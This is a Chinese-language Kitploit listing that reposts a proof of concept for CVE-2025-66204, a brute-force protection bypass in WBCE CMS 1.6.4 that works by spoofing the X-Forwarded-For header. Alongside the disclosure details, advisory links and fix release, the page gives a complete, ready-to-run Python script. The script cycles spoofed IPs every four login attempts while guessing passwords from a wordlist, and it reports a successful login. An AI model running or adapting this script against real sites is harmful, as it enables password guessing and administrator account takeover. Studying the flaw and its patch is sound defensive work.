Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-66204 — CVE-2025-66204的概念验证:通过伪造X-Forwarded-For头绕过WBCE CMS中的暴力破解保护,带有自动化Python漏洞利用脚本。 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2025-66204
漏洞分析Web应用程序漏洞利用渗透测试身份验证论文与研究学习与教育
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

CVE-2025-66204的概念验证:通过伪造X-Forwarded-For头绕过WBCE CMS中的暴力破解保护,带有自动化Python漏洞利用脚本。

查看仓库
115个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-66204:WBCE CMS 允许通过 X-Forwarded-For 标头绕过暴力破解防护

概述

字段详情
CVE IDCVE-2025-66204
严重性中危
安全公告查看公告
发现者Lukasz Rybak

受影响产品

  • WBCE/WBCE_CMS

详情

摘要

WBCE CMS 1.6.4 存在暴力破解防护绕过漏洞。 登录限速机制会在 5 次无效登录尝试后阻止某个 IP 地址。 然而,应用程序完全信任 X-Forwarded-For 标头,既不对其进行验证,也不限制其使用。

通过在每次请求时修改 X-Forwarded-For,攻击者可以无限期重置计数器并获得无限制的密码猜测尝试次数,从而有效绕过所有暴力破解防护。

详细信息

WBCE CMS 使用以下逻辑确定客户端 IP:

  1. 如果请求包含 X-Forwarded-For 标头,应用程序会盲目信任其值。
  2. 否则,回退到 REMOTE_ADDR。

尽管 WBCE 默认并不运行在反向代理之后,但登录端点只要检测到 X-Forwarded-For 存在就会解析它,即使该标头是客户端手动添加的。

由于应用程序不验证请求是否来自受信任的代理,攻击者可以注入带有任意 IP 地址的自定义 X-Forwarded-For 标头。

这导致:

  • 攻击者使用 X-Forwarded-For: 10.0.0.1 发送 5 次无效密码 → 该 IP 被阻止
  • 攻击者使用 X-Forwarded-For: 10.0.0.2 发送下一个请求 → 被当作一个全新的 IP
  • 暴力破解防护可以被无限期绕过

此行为可在 WBCE CMS 前端没有反向代理的全新默认安装上复现。

PoC

步骤

使用错误的密码尝试登录并发送标头:

X-Forwarded-For: 10.0.0.10

重复操作直至触发锁定(5 次尝试之后)。 图片

将标头改为:

X-Forwarded-For: 10.0.0.11

登录尝试计数被重置,从而再次被允许。 图片

遍历 10.0.0.x 并无限制地进行暴力破解。

自动化 PoC 脚本

我编写了一个 Python 脚本来自动执行此攻击,每四次尝试轮换一次伪装的 IP,并检测登录是否成功。

图片 ... 图片 图片

这证明了该防护可被完全绕过。

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

影响

  1. 可对任意账户进行无限制的暴力破解;
  2. 可能导致管理员账户被攻陷;
  3. 无法实施速率限制;

参考资料

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

免责声明

此 CVE 遵循协调漏洞披露规范进行了负责任地披露。此处提供的信息仅用于教育和防御目的。

下载工具